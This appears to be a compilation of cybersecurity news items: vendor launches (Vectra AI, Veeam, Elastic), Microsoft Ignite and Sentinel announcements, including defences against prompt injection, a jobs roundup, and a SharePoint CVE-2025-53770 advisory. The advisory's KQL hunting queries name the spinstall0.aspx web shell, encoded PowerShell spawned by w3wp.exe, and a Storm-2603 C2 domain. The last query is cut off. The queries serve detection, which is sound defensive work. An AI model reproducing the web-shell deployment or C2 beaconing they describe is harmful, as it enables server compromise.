Vectra AI unifies threat visibility across Microsoft environments Vectra AI announced Vectra AI Shield for Microsoft, a purpose-built solution that enables channel partners and MSSPs to deliver unified visibility and control across Microsoft Entra ID, Microsoft 365, Copilot for M365, and Azure Cloud in a single AI-powered platform. Closing the Microsoft visibility gap While Microsoft’s native tools provide broad coverage, many organizations — and the partners that protect them — still face blind spots across hybrid and identity-based attacks. Fragmented products, inconsistent alerts, and complex integrations can slow detection and response, making it harder for partners to deliver efficient and verifiable security outcomes. Vectra AI Shield for Microsoft, powered by Vectra AI’s attack signal intelligence, eliminates these barriers by consolidating AI-driven detection, prioritization, and automated response across the Microsoft ecosystem. The result is simplified operations, faster investigations, and consistent protection that partners can scale confidently across customers and environments. “Security teams and partners don’t need more alerts — they need clarity and control,” said Mark Wojtasiak, Vice President of Research and Strategy at Vectra AI. “Vectra AI Shield for Microsoft extends our attack signal intelligence across the entire Microsoft ecosystem, turning overwhelming signal noise into actionable insight. It’s about helping partners and customers stay one step ahead of attackers while demonstrating effectiveness in every engagement.” According to IDC research, organizations using Vectra AI identify 52% more potential threats and achieve 40% greater SOC efficiency, giving partners measurable proof of value as they expand their Microsoft security offerings. “Organizations often underestimate the prevalence of multi-domain attacks until we demonstrate them firsthand,” said Sébastien Wojcicki, Head of Operations & Security Excellence at Advens. “By running simulations such as golden HTML attacks, we can show how Vectra AI consistently detects these sophisticated, cross-domain threats that Microsoft tools often miss. With a unified view across M365 and on-prem environments, our teams can now investigate threats faster and with greater accuracy.” Key capabilities of Vectra AI Shield for Microsoft: 100+ AI-driven detections and patented Privilege Access Analytics for precise threat identification AI Agents that automate threat triage, correlation, and prioritization Predictable pricing Integrates with Microsoft Sentinel and Defender for Endpoint Together, these capabilities reduce alert noise, accelerate response, and demonstrate verifiable protection outcomes across identity, SaaS, and cloud – enabling channel and MSSPs to deliver complete Microsoft security with speed, clarity, and confidence. Availability Vectra AI Shield for Microsoft is now generally available as a single SKU for channel partners and MSSPs.

Veeam Data Platform v13 strengthens AI-driven analysis Veeam Software launches Veeam Data Platform v13, delivering the resilience, flexibility, and intelligence needed for an AI-powered future. With a modern platform architecture, AI-powered intelligence, an expansive hypervisor integration model, and new security capabilities, Veeam Data Platform v13 delivers a leap forward, helping organizations stay ahead of threats, eliminate lock-in, and keep data always available, recoverable, and ready for the workloads of tomorrow. Key innovations in Veeam Data Platform v13 include: Recon Scanner 3.0: Powered by Coveware by Veeam, Recon Scanner 3.0 is now built directly into Veeam Data Platform, redefining real-time operational threat visibility for organizations. Flags suspected adversary behavior across monitored endpoints, including brute force attacks, suspicious file activity, and unexpected network connections. Consolidated Triage Inbox enables organizations to see, sort, and manage all suspicious activity in one place, with severity ratings and behavioral insights. Seamless integration with Veeam ONE Threat Center delivers real-time analytics and threat visualization to security dashboards. Suppression Rules and context-rich findings help teams triage faster and reduce alert fatigue. Microsoft Sentinel integration correlates Recon Scanner intelligence with broader threat signals for unified detection, investigation, and response. Collects forensic data from Veeam environments and maps findings to the MITRE ATT&CK framework for unmatched threat context. Veeam intelligence driven malware analysis AI agent: Advanced AI-driven analysis automatically detects, classifies, and reports malware and suspicious activity, providing actionable intelligence and guided remediation to ensure recoveries are trusted and clean. Security, identity and access controls: Least-privilege access and centralized authentication using SAML-based SSO reduce exposure and streamline secure access. Immutable by default: Backups are immutable by default to align with ransomware best practices and protect recovery points from unauthorized modification. Security and ITSM integrations: Deep integrations with leading security and IT ops platforms, including CrowdStrike, Palo Alto Networks, Splunk, and ServiceNow – unify detection, investigation, and response. Veeam Data Platform v13 strengthens Veeam’s core foundation of expansive workload coverage and fast, flexible, reliable workload mobility, critical for cloud adoption, cyber recovery, and AI-driven modernization. Key innovations include: Instant recovery to Microsoft Azure: True instant recovery of critical workloads directly into Azure, enabling restoration with a secure cleanroom environment to validate recoverability and minimize downtime. Expanded hypervisor coverage: Support for Scale Computing HyperCore available now, with additional platforms including HPE Morpheus VM Essentials, Citrix XenServer, XCP-ng and more coming soon. More scheduled for release in 2026, including: OpenShift Virtualization support: Native host-based VM backup and recovery for Red Hat OpenShift Virtualization, building on existing support through Veeam Kasten. Universal hypervisor integration API: AN integration framework enabling any hypervisor vendor to integrate natively with Veeam’s backup and recovery capabilities using a standardized API, future-proofing customer environments as new virtualization technologies emerge. Veeam Data Platform v13 expands Veeam’s commitment to simplicity, openness, and cost efficiency, delivering high availability, management, and deployment flexibility without proprietary hardware appliances or restricted architectures. Key innovations include: Veeam software appliance with high availability: A hardened, turnkey Linux-based appliance that deploys in minutes, self-updates, eliminates OS management overhead, and now supports high availability for uninterrupted operations—all without hardware lock-in, offering significant cost savings compared to traditional competitive appliances. Modern web console: A new customer-hosted, browser-based UI that simplifies setup, reduces infrastructure requirements, and streamlines daily management for a more intuitive, modern experience. “At Veeam, protecting our customers’ data isn’t just a promise – it’s our purpose,” said Anand Eswaran, CEO of Veeam Software. “With Veeam Data Platform v13, we are resetting the standard for data resilience. We’re giving organizations the intelligence, automation, and flexibility they need to outsmart cyberattacks, eliminate lock-in, and innovate without fear. V13 is a defining moment for the future of data and cyber resilience, and it also lays the technical foundation for Veeam’s next chapter: a unified data and AI command platform that brings protection, security, governance, and AI trust together in one intelligent experience.” Availability Veeam Data Platform v13 is available now through Veeam’s global network of authorized partners, resellers, and distributors. Veeam Recon Scanner 3.0 is now included with Veeam Data Platform Premium and is coming soon to Veeam Cloud & Service Provider (VCSP) partners.

Microsoft made several announcements on Tuesday at its annual Ignite conference for developers and IT professionals, unveiling security enhancements in products such as Defender, Sentinel, Copilot, Intune, Purview, and Entra. A majority of the security announcements from Microsoft Ignite 2025 are related to the company’s Defender product. New Defender capabilities designed to improve the ability to detect and thwart attacks include Predictive Shielding, an automatic attack disruption component that can anticipate an attacker’s movements and proactively block potential attack pathways, and a Threat Hunting Agent that can be used to orchestrate threat hunting through the use of natural language. In addition, Microsoft announced third-party attack disruption capabilities based on data collected through the Microsoft Sentinel SIEM solution from AWS, Okta, and Proofpoint products. The tech giant has introduced an integration of Microsoft Defender for Cloud and GitHub Advanced Security, enabling users to protect cloud-native apps across their full lifecycle. Microsoft also informed customers that Microsoft Defender for Cloud is extending posture management to serverless resources, providing users greater visibility into serverless environments and application platforms. As part of Microsoft Agent 365, the company announced unified posture management, risk reduction, and threat protection for AI agents in Microsoft Defender. In addition, Microsoft Defender for Cloud (MDC) customers will soon also benefit from unified security posture management. For Entra, Microsoft unveiled the Agent ID solution for preventing agent sprawl and protecting AI agent identities, AI-powered Security Copilot agents for automating identity and access security tasks, new Internet Access capabilities for securing access and usage of generative AI, and new Entra ID features to strengthen identity protection and reduce the risk of phishing. New Intune features include Security Copilot agents for change reviews, policy configurations, and device offboarding, as well as a feature for the remote management of Windows Recovery Environment (WinRE). For Purview, the company unveiled AI-powered data security, governance, and compliance capabilities, including enhanced data security posture management, visibility and controls improvements, and new Copilot agents. Security Copilot is getting 12 new agents for Defender, Entra, Intune, and Purview, as well as 30 new agents from Microsoft’s partners. The new agents are designed for SOC, identity, data security, and IT teams. Microsoft has also announced Security Dashboard for AI, a unified dashboard for CISOs and AI risk leaders that aggregates real-time AI posture and risk insights. For its Sentinel solution, Microsoft introduced updated SIEM and platform capabilities. A vast majority of the security enhancements announced by Microsoft are now or will soon be available in preview. Microsoft announced that the previously unveiled Security Store, which helps organizations find the right security solutions, is generally available. Related: Microsoft Patches Actively Exploited Windows Kernel Zero-Day Related: Microsoft Disables Downloaded File Previews to Block NTLM Hash Leaks

Veeam App for Microsoft Sentinel brings backup intelligence directly into the SOC Veeam Software launched its new Veeam App for Microsoft Sentinel. The solution provides advanced integration with Veeam Data Platform and empowers organizations to detect, investigate, and respond to cyber threats and backup anomalies, delivering data resilience and operational efficiency across SOC. As cyberattacks increasingly target backup environments, many SOC teams face a critical visibility gap in their security posture ecosystem, leaving organizations vulnerable to attacks on their last line of defense – their backups. The new Veeam App for Microsoft Sentinel helps close this gap by bringing backup intelligence directly into the SOC, allowing IT and Security teams to collaborate in real-time, detect threats earlier, and respond with speed and coordination. The Veeam App for Microsoft Sentinel delivers deep integration between Veeam Data Platform and the Microsoft Sentinel platform including a cloud-native SIEM, bringing critical backup, threat, and ransomware intelligence into the heart of security workflows. Security teams can monitor and investigate Veeam backup events, including adversary tactics, techniques, and procedures (TTPs) detected by Veeam Recon Scanner, alongside other key security signals. With bi-directional automation and flexible connectivity, teams can enrich incidents, trigger restores, and automate recovery actions from directly within Microsoft Sentinel. “Data resilience is the foundation of modern cybersecurity,” said John Jester, CRO at Veeam. “With our new app for Microsoft Sentinel, data resilience meets security intelligence empowering organizations with instant visibility into backup security events, suspicious activity, and ransomware threats. Veeam continues to empower SOC teams to act decisively, ensuring data remains safe and recoverable no matter what threats and cyber-attacks they face.” Key features of the new Veeam App for Microsoft Sentinel include: Actionable security intelligence: Ingests 300+ Veeam backup and security events, including job failures, suspicious activity, ransomware detections, and Recon Scanner findings, mapped to MITRE ATT&CK for rapid, proactive threat detection. This is Veeam’s first SIEM integration to surface adversary TTPs, revealing early indicators of compromise. Automated response: Built-in playbooks and bi-directional API connectivity allow SOC teams to trigger restores, run malware scans, and launch remediation workflows instantly from within Microsoft Sentinel, streamlining response and reducing manual effort. Unified visibility: Microsoft Sentinel-native dashboards visualize key backup and security data such as threat detections, restore activity, and job health alongside existing SOC signals. This centralized view enables faster investigations and stronger compliance posture. Integrated IT and security collaboration: Breaks down silos and streamlines incident response by connecting IT and Security workflows within the SOC, improving collaboration, accelerating investigations, and strengthening ransomware defense. Veeam integrations into leading security operation tools extend security visibility into backup data, improve threat detection, and automate incident response. Veeam’s commitment to modern protection now extends seamlessly into the Microsoft Sentinel ecosystem, helping organizations defend against cyber threats and ensure data resilience in an increasingly complex digital landscape. The new Veeam App for Microsoft Sentinel is now available at no additional cost for Veeam Data Platform Advanced and Premium customers via Microsoft Marketplace and Microsoft Sentinel Content Hub.

Microsoft on Tuesday unveiled the expansion of its Sentinel Security Incidents and Event Management solution (SIEM) as a unified agentic platform with the general availability of the Sentinel data lake. In addition, the tech giant said it's also releasing a public preview of Sentinel Graph and Sentinel Model Context Protocol (MCP) server to turn telemetry into a security graph and allow AI agents access an organization's security context in a standardized manner. "With graph-based context, semantic access, and agentic orchestration, Sentinel gives defenders a single platform to ingest signals, correlate across domains, and empower AI agents built in Security Copilot, VS Code using GitHub Copilot, or other developer platforms," Vasu Jakkal, corporate vice president at Microsoft Security, said in a post shared with The Hacker News. Microsoft released Sentinel data lake in public preview earlier this July as a purpose-built, cloud-native tool to ingest, manage, and analyze security data to provide better visibility and advanced analytics. With the data lake, the idea is to lay the foundation for an agentic defense by bringing data from diverse sources and enabling artificial intelligence (AI) models like Security Copilot to have the full context necessary to detect subtle patterns, correlate signals, and surface high-fidelity alerts. The shift, Redmond added, allows security teams to uncover attacker behavior, retroactively hunt over historical data, and trigger detections automatically based on the latest tradecraft. "Sentinel ingests signals, either structured or semi-structured, and builds a rich, contextual understanding of your digital estate through vectorized security data and graph-based relationships," Jakkal said. "By integrating these insights with Defender and Purview, Sentinel brings graph-powered context to the tools security teams already use, helping defenders trace attack paths, understand impact, and prioritize response -- all within familiar workflows." Microsoft further noted that Sentinel organizes and enriches security data so as to detect issues faster and better respond to events at scale, shifting cybersecurity from "reactive to predictive." In addition, the company said users can build Security Copilot agents in a Sentinel MCP server-enabled coding platform, such as VS Code, using GitHub Copilot, that are tailored to their organizational workflows. The Windows maker has also emphasized the need for securing AI platforms and implementing guardrails to detect (cross-)prompt injection attacks, stating it intends to roll out new enhancements to Azure AI Foundry that incorporate more protection for AI agents against such risks. Microsoft told The Hacker News that it enforced security and compliance across its data lake by using Azure and Entra RBAC for least-privilege access, storing data in the same region as the connected workspace to meet data residency requirements, and encrypting all data at rest using Microsoft-managed keys by default, with options to use customer-managed keys (CMK). It also said each tenant receives a logically isolated data lake instance. To counter the risks associated with prompt injection attacks, the company said it's securing the platform through a multi-pronged approach that involves threat protection for AI services in Microsoft Defender for Cloud, Spotlighting in Azure AI Content Safety, and Azure AI Red Teaming Agent. These features are engineered to provide advanced security for custom AI applications built with Azure AI Foundry models, real-time detection and blocking of prompt injection attacks, and automated adversarial testing of AI systems to identify vulnerabilities in content safety. "The [threat protection] feature proactively detects and responds to threats, including prompt injection attacks by generating actionable alerts," Microsoft said. "It helps organizations safeguard their AI services from malicious inputs that could compromise model behavior or data integrity." Spotlighting, on the other hand, enhances protection against indirect attacks by tagging the input documents with special formatting to indicate lower trust in the model. "This capability ensures that Azure AI Foundry models do not act on hidden or malicious prompts embedded in user inputs," the company added. "By continuously monitoring and filtering unsafe content, Spotlighting helps maintain the integrity and trustworthiness of AI-generated outputs." Lastly, the third layer of defense comes in the form of an AI Red Teaming Agent, which Microsoft released in preview back in April 2025 as a tool to help users proactively find safety risks associated with generative AI systems during design and development. It integrates the company's open-source Python Risk Identification Tool (PyRIT) with Azure AI Foundry's built-in Risk and Safety Evaluations to assess safety issues. "Users can simulate prompt injection scenarios and other attack strategies to evaluate how well their models detect and respond to threats," Microsoft said. "This tool supports proactive risk assessment and strengthens the resilience of AI applications against evolving adversarial techniques." (The story was updated after publication to include additional insights from Microsoft related to prompt injection attacks.)

Cybersecurity jobs available right now: September 30, 2025 Application Security Architect Vancity | Canada | Hybrid – No longer accepting applications As an Application Security Architect, you will lead the design and planning of information security projects, including cost estimation and forecasting. Contribute to the development of enterprise security documentation such as policies, standards, baselines, guidelines, and procedures. Assess security risks across programs, projects, and operational processes, and recommend architecture remediation strategies. CISO UVeye | Israel | Hybrid – No longer accepting applications As a CISO, you will develop and implement a comprehensive cybersecurity strategy and architecture ensuring the highest protection against cyber threats. Lead incident response efforts, including coordinating with internal teams and external partners, to mitigate security incidents promptly. Implement advanced threat detection and monitoring tools to identify and mitigate security vulnerabilities and potential breaches proactively. Cloud SecOps Lead RIB Software | India | Remote – View job details As a Cloud SecOps Lead, you will lead and develop the Security Operations team, defining processes for monitoring, response, and continuous improvement. Oversee SIEM and SOAR operations, ensuring effective detection, alert triage, and automated incident response. Coordinate incident response efforts end-to-end, including containment, remediation, and post-incident reviews. Get weekly updates on new cybersecurity job openings. Subscribe here! Cybersecurity Architect Voith Hydro | Germany | Remote – No longer accepting applications As a Cybersecurity Architect, you will develop cyber security concepts and architectures with the development teams to fulfill the respective security target levels supports, including threat and risk analysis. Drive the implementation of cyber security measures over the whole lifecycle of Voith Hydro products, and initiate penetration tests for high-risk areas for independent validation of issues and remediation efforts as well as analyze and evaluate specific customer project security requirements. Cybersecurity Engineer MANTECH | USA | On-site – No longer accepting applications As a Cybersecurity Engineer, you will conduct in-depth analysis of cyber security tools, applications, and methodology to maximize and optimize the enterprise cyber security posture using reverse engineering techniques to understand their behavior, functionality, and impact. Utilize tools and techniques providing advice to tune enterprise cyber security tools to scan, stop, and alert on threats and incidents enabling event/incident analysis, troubleshooting, and resolution. Cybersecurity Engineer Tenet Healthcare | USA | On-site – No longer accepting applications As a Cybersecurity Engineer, you will serve as the SME for the cybersecurity operations team and the main escalation point for SIEM issues, supporting root cause analysis and service restoration. You will help shape the enterprise-wide cybersecurity strategy by collaborating with stakeholders and Tenet service providers. Report security gaps to leadership with appropriate recommendations. Cyber Security Consultant PwC | India | On-site – No longer accepting applications As a Cyber Security Consultant, you will design and implement a secure OT architecture, including network segmentation, firewalls, access controls, and specific OT security measures. Oversee incident response activities for OT, including detection, containment, eradication, and recovery, ensuring business continuity and minimal disruption. Cyber Security Consultant Daintta | United Kingdom | Hybrid – No longer accepting applications As a Cyber Security Consultant, you will support the development and roll out of cyber security strategies, capabilities, and operating models to meet clients’ goals. Undertake risk and maturity assessments, providing strategic guidance on how to improve cybersecurity posture using a risk-based approach with articulation of mitigations/ controls and their respective impact on reducing risk. Cyber Security Engineer UNSW College | Australia | On-site – No longer accepting applications As a Cyber Security Engineer, you will monitor SIEM and other security platforms for alerts, triaging and escalating incidents as needed. You will execute first- and second-level response procedures, including containment, investigation, and documentation. You will administer and maintain endpoint protection, email security, firewalls, and other security infrastructure, run vulnerability scans, record findings, and coordinate remediation with the appropriate teams. Cyber Security Engineer CLUSTER REPLY | Italy | Hybrid – No longer accepting applications As a Cyber Security Engineer, you will design security architectures for cloud and hybrid environments based on Microsoft Azure and Microsoft 365. Implement protection solutions using Microsoft Defender, Sentinel, Azure Security Center, Purview, and Intune. Manage identity and access through Azure AD, MFA, PIM, and Conditional Access. Cyber Threat Investigator Accenture | United Kingdom | Hybrid – No longer accepting applications As a Cyber Threat Investigator, you will develop, maintain, and enhance security detection content primarily for the Splunk SIEM, to enable the detection of threats across diverse platforms. Perform security monitoring, reviewing and triaging triggered alerts, and suggesting improvements. Collaborate with the extended security team to identify gaps in detection coverage, log ingestion and alerting based on business risks and threats. Information Security – Firewall & Network Engineer Starr | USA | On-site – No longer accepting applications As an Information Security – Firewall & Network Engineer, you will be responsible for the design, implementation, maintenance, and support of the organization’s firewall infrastructure, primarily focusing on Palo Alto Networks technologies. The engineer will ensure the security and integrity of the company’s networks and will work closely with the IT security team to develop comprehensive network security measures. Information Security Officer Dubai Civil Aviation Authority | UAE | On-site – No longer accepting applications As a Information Security Officer, you will identify vulnerabilities in DCAA’s network, develop and implement security plans, and monitor network usage for policy compliance. You’ll stay current with IT security threats and standards and perform penetration tests to detect flaws. Information Security Penetration Tester Pennymac | USA | On-site – No longer accepting applications As an Information Security Penetration Tester, you will conduct security assessments using a combination of manual and automated techniques to uncover vulnerabilities and potential attack vectors across enterprise assets. Identify and prioritize critical vulnerabilities, incorporating threat intelligence to assess potential exploitability and ensure remediation efforts align with the evolving threat landscape. Information Technology and Cyber Risk Manager HSBC | Germany | Hybrid – No longer accepting applications As an Information Technology and Cyber Risk Manager, you will define security policies, support penetration testing, and drive regulatory and strategic programs. You will also provide technical support for projects such as new core banking systems and the DORA transition. Junior Cybersecurity Operations Center Analyst Philippine Airlines | Philippines | Hybrid – No longer accepting applications As a Junior Cybersecurity Operations Center Analyst, you will monitor network traffic, system logs, and security devices in a 24×7 SOC environment, analyzing anomalous activity and investigating security incidents. Evaluate security alerts, prioritize incidents, and escalate critical issues, providing incident response support and following standard procedures to mitigate security risks. Mainframe Security Lead AXA Group Operations | France | On-site – View job details As a Mainframe Security Lead, you will assess IBM Mainframe Z Series and iSeries environments for vulnerabilities and coordinate incident response with relevant teams. You will identify potential threats and take proactive measures to mitigate risks. Penetration Testing Analyst Sun Life | Ireland | On-site – No longer accepting applications As a Penetration Testing Analyst, you will perform penetration testing and vulnerability scanning activities for Sun Life’s internal and external clients. Present reports and data on the findings from penetration testing to the various support teams responsible for these applications. Provide guidance for these teams, making recommendations and/or delivering recommendations to ensure any vulnerabilities found are adequately addressed. Platform Security Engineer – PKI & Cryptography Generali | Italy | Hybrid – No longer accepting applications As a Platform Security Engineer – PKI & Cryptography, you will design, deploy, and manage PKI services, including root and subordinate Certificate Authorities. Oversee the lifecycle of digital certificates managing the CLM solution of the Group. Administer and maintain HSMs, ensuring secure key storage and operations. Support the management of cryptographic solutions (symmetric/asymmetric encryption, key management, signing, hashing). Senior Application Security Engineer Kaltura | Israel | Hybrid – No longer accepting applications As a Senior Application Security Engineer, you will work with product and engineering teams to embed security across the SDLC. You will conduct design reviews, threat modeling, code reviews, and drive remediation while managing security tools like SAST, SCA, and IaC. You will lead penetration tests, mentor developers on best practices, and implement automation frameworks and product security features. You will also support RFPs and customer security requests. Senior IAM Specialist Sobeys | Canada | Hybrid – No longer accepting applications As a Senior IAM Specialist, you will design, deploy and manage CyberArk Secure Infrastructure Access (SIA) for secure, credential-less access to Linux, Windows and Databases across hybrid environments. Implement and maintain Identity Security Intelligence (ISI) for behavioral analytics, anomaly detection, and risk-based policy enforcement. Configure and manage CyberArk Remote Access for secure, agentless vendor access without VPN dependency. Senior Red Team Specialist CyberGate Defense | UAE | On-site – View job details As a Senior Red Team Specialist, you will design and lead red team engagements that simulate real-world threat actors. Perform comprehensive internal and external penetration tests across web, mobile, and network infrastructure. Identify vulnerabilities, develop custom exploits, and escalate privileges.Conduct social engineering assessments, including phishing, vishing, and physical intrusion tests. Senior Security Architect Keyrock | France | Remote – No longer accepting applications As a Senior Security Architect, you will design security methods and controls, ensuring/enforcing sensitive data/asset and system security, integrity, and confidentiality. Identify and assess security risks and vulnerabilities, and formulate/implement mitigation/enforcement strategies. Develop, refine, and maintain security policies, standards, and procedures emphasizing data and funds security. SOC Operator Crisis24 | USA | On-site – No longer accepting applications As a SOC Operator, you will monitor and assess daily alerts, reported incidents, and intrusion alarms. You’ll manage access control, video systems, and intrusion detection, dispatching security officers as needed. You’ll also monitor events using open-source intelligence and coordinate with local assets. Vulnerability Remediation Engineer ECI | Philippines | On-site – No longer accepting applications As a Vulnerability Remediation Engineer, you will lead complex remediation efforts across infrastructure, applications, and cloud environments. Analyze vulnerability scan results, assess risk, and recommend or implement appropriate remediation actions. Ensure remediation activities comply with internal policies, SLAs, and regulatory requirements. Vulnerability Management Specialist Grant Thornton | Ireland | On-site – No longer accepting applications As a Vulnerability Management Specialist, you will manage and maintain the enterprise vulnerability management program, ensuring timely identification and remediation of vulnerabilities across on-prem, cloud, and hybrid environments. Perform vulnerability scans, secure configuration scans, and policy compliance scans using Qualys and other tools.

Elastic AI SOC Engine helps SOC teams expose hidden threats Elastic AI SOC Engine (EASE) is a new serverless, easy-to-deploy security package that brings AI-driven context-aware detection and triage into existing SIEM and EDR tools, without the need for an immediate migration or replacement. EASE delivers agentless integrations, AI-driven alert correlation using Elastic’s Attack Discovery, and an AI Assistant that empowers SOC analysts to uncover hidden, coordinated threats faster and reduce manual investigation time. Delivered on the Elastic Cloud, EASE gives security teams a friction-reducing path to prioritize threats, reduce alert fatigue, and enhance the value of their current security investments. “SOC analysts are overwhelmed by high alert volumes and lack the AI support they need from their existing SIEM and EDR solutions to investigate threats effectively,” said Santosh Krishnan, general manager, Observability & Security at Elastic. “EASE brings Elastic’s proven AI capabilities into the security tools teams already use, to automatically prioritize threats, correlate alerts, and accelerate investigations, reducing the load on teams. When ready, teams can seamlessly migrate to Elastic Security for a unified, AI-driven platform that brings together SIEM, XDR, and cloud security, without missing a beat.” EASE is designed for fast deployment and immediate value in security environments that rely on Splunk, Microsoft Sentinel, CrowdStrike, and other tools. EASE includes: Agentless integrations: Native, agentless alert ingest from third-party SIEM and EDR platforms that allow users to apply AI analysis to alerts immediately. AI-powered alert correlation: Users get access to Elastic Attack Discovery, which triages, correlates and prioritizes alerts, as well as a streamlined AI-powered alert view, which supports analysts with AI-powered summaries and context. Context-aware AI Assistant: Agentless data connectors enrich investigations with internal knowledge from sources including Jira, GitHub, and SharePoint, and support natural language queries and RAG-based search across organizational data. Transparent AI with model flexibility: Choose the LLM that works best for your organization, either your own, or the Elastic Managed LLM. AI Assistant responses are cited, so you know what data was used. All queries, responses, and token usage are fully logged and trackable. Operational dashboards: Out-of-the-box metrics highlight time savings, detection improvements, and ROI to help security teams demonstrate business value. “Elastic is tackling a common challenge: how to bring open and transparent AI into the SOC without starting from scratch, said Michelle Abraham, senior research director, Security and Trust, IDC. “EASE helps teams with faster detection and investigation using the tools they already have.”

Critical Vulnerabilities in Microsoft SharePoint History: 21/07/2025 --- v1.0 -- Initial publication 21/07/2025 --- v1.1 -- Updated information 22/07/2025 --- v1.2 -- Updated information from Microsoft 24/07/2025 --- v1.3 -- Further updated information from Microsoft Summary On July 19, 2025, Microsoft released an out-of-bound advisory addressing two vulnerabilities on Microsoft SharePoint, one of which being rated as critical and allowing unauthenticated remote attacker to execute arbitrary code on vulnerable systems [1,2]. These vulnerabilities apply to on-premises SharePoint Servers only. SharePoint Online in Microsoft 365 is not impacted. These critical flaws are actively being exploited in the wild since at least 18th of July 2025 [4]. It is recommended isolating vulnerable system from the Internet, but also from internal systems, and running a compromise assessment before updating. Technical Details The vulnerability CVE-2025-53770, with a CVSS score of 9.8, is due to the deserialisation of untrusted data. This flaw allows an unauthorised attacker to execute code over a network [2]. The vulnerability CVE-2025-53771, with a CVSS score of 6.3, is a spoofing vulnerability due to improper limitation of a path name to a restricted directory (path traversal) [3]. Affected Products The vulnerabilities CVE-2025-53770 and CVE-2025-53771 affect: Microsoft SharePoint Server Subscription Edition Microsoft SharePoint Server 2019 Microsoft SharePoint Enterprise Server 2016 [Updated] Note: All prior versions of SharePoint are no longer supported and should be considered vulnerable, but will not be patched by Microsoft. Recommendations It is recommended isolating vulnerable system from the Internet, but also from internal systems, and running a compromise assessment before updating. [Updated] After running a compromise assessment and updating affected servers, it is strongly recommended rotating SharePoint Server ASP.NET machine keys, before restarting the IIS service using iisreset.exe [1,5]. Mitigation The vendor strongly advises deploying Microsoft Defender for Endpoint protection, or equivalent threat solutions, as well as enabling and properly configuring the Antimalware Scan Interface [1]. Threat Hunting To identify possible exploitation of the vulnerabilities, it is possible to execute the following queries in the Microsoft 365 security centre's Advanced Hunting page [1,6]. Advanced Hunting in Microsoft Defender XDR NOTE: The following sample queries search for a week’s worth of events. For longer timespans, the default settings of Advanced Hunting would need to be adapted [1]. Successful exploitation using file creation Search for the creation of spinstall0.aspx, which indicates successful post-exploitation of CVE-2025-53770: DeviceFileEvents | where FolderPath has_any ("microsoft shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS", "microsoft shared\\Web Server Extensions\\16\\TEMPLATE\\LAYOUTS") | where FileName contains "spinstall" | project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, FolderPath, ReportId, ActionType, SHA256 | order by Timestamp desc Post-exploitation PowerShell dropping web shell Search for process creations, where w3wp.exe is spawning encoded PowerShell involving the spinstall0 file or the file paths it has been known to be written to: DeviceProcessEvents | where InitiatingProcessFileName has "w3wp.exe" and InitiatingProcessCommandLine !has "DefaultAppPool" and FileName =~ "cmd.exe" and ProcessCommandLine has_all ("cmd.exe", "powershell") and ProcessCommandLine has_any ("EncodedCommand", "-ec") | extend CommandArguments = split(ProcessCommandLine, " ") | mv-expand CommandArguments to typeof(string) | where CommandArguments matches regex "^[A-Za-z0-9+/=]{15,}$" | extend B64Decode = replace("\\x00", "", base64_decodestring(tostring(CommandArguments))) | where B64Decode contains "spinstall", @'C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\15\TEMPLATE\LAYOUTS', @'C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS') Post-exploitation web shell dropped Search for the web shell dropped using the PowerShell command: DeviceFileEvents | where Timestamp >ago(7d) | where InitiatingProcessFileName=~"powershell.exe" | where FileName contains "spinstall" Exploitation detected by Defender Search at Microsoft Defender for Endpoint telemetry to determine if specific alerts fired in your environment: AlertEvidence | where Timestamp > ago(7d) | where Title has "SuspSignoutReq" | extend _DeviceKey = iff(isnotempty(DeviceId), bag_pack_columns(DeviceId, DeviceName),"") | summarize min(Timestamp), max(Timestamp), count_distinctif(DeviceId,isnotempty(DeviceId)), make_set(Title), make_set_if(_DeviceKey, isnotempty(_DeviceKey) ) Unified Advanced Hunting query Find exposed devices Search for devices vulnerable to the CVEs listed in blog [5]: DeviceTvmSoftwareVulnerabilities | where CveId in ("CVE-2025-49706","CVE-2025-53770") Web shell C2 communication Find devices that may have communicated with Storm-2603 web shell C2, that may indicate a compromised device beaconing to Storm-2603 controlled infrastructure: let domainList = "update.updatemicfosoft.com"; union ( DnsEvents | where QueryType has_any(domainList) or Name has_any(domainList) or QueryType matches regex @"^.*\.devtunnels\.ms$" or Name matches regex @"^.*\.devtunnels\.ms$" | project TimeGenerated, Domain = QueryType, SourceTable = "DnsEvents" ), ( IdentityQueryEvents | where QueryTarget has_any(domainList) or QueryType matches regex @"^.*\.devtunnels\.ms$" | project Timestamp, Domain = QueryTarget, SourceTable = "IdentityQueryEvents" ), ( DeviceNetworkEvents | where RemoteUrl has_any(domainList) or RemoteUrl matches regex @"^.*\.devtunnels\.ms$" | project Timestamp, Domain = RemoteUrl, SourceTable = "DeviceNetworkEvents" ), ( DeviceNetworkInfo | extend DnsAddresses = parse_json(DnsAddresses), ConnectedNetworks = parse_json(ConnectedNetworks) | mv-expand DnsAddresses, ConnectedNetworks | where DnsAddresses has_any(domainList) or ConnectedNetworks.Name has_any(domainList) or DnsAddresses matches regex @"^.*\.devtunnels\.ms$" or ConnectedNetworks .Name matches regex @"^.*\.devtunnels\.ms$" | project Timestamp, Domain = coalesce(DnsAddresses, ConnectedNetworks.Name), SourceTable = "DeviceNetworkInfo" ), ( VMConnection | extend RemoteDnsQuestions = parse_json(RemoteDnsQuestions), RemoteDnsCanonicalNames = parse_json(RemoteDnsCanonicalNames) | mv-expand RemoteDnsQuestions, RemoteDnsCanonicalNames | where RemoteDnsQuestions has_any(domainList) or RemoteDnsCanonicalNames has_any(domainList) or RemoteDnsQuestions matches regex @"^.*\.devtunnels\.ms$" or RemoteDnsCanonicalNames matches regex @"^.*\.devtunnels\.ms$" | project TimeGenerated, Domain = coalesce(RemoteDnsQuestions, RemoteDnsCanonicalNames), SourceTable = "VMConnection" ), ( W3CIISLog | where csHost has_any(domainList) or csReferer has_any(domainList) or csHost matches regex @"^.*\.devtunnels\.ms$" or csReferer matches regex @"^.*\.devtunnels\.ms$" | project TimeGenerated, Domain = coalesce(csHost, csReferer), SourceTable = "W3CIISLog" ), ( EmailUrlInfo | where UrlDomain has_any(domainList) or UrlDomain matches regex @"^.*\.devtunnels\.ms$" | project Timestamp, Domain = UrlDomain, SourceTable = "EmailUrlInfo" ), ( UrlClickEvents | where Url has_any(domainList) or Url matches regex @"^.*\.devtunnels\.ms$" | project Timestamp, Domain = Url, SourceTable = "UrlClickEvents" ) | order by TimeGenerated desc Hunting in Microsoft Sentinel Detect network indicators of compromise and file hashes using ASIM //IP list and domain list- _Im_NetworkSession let lookback = 30d; let 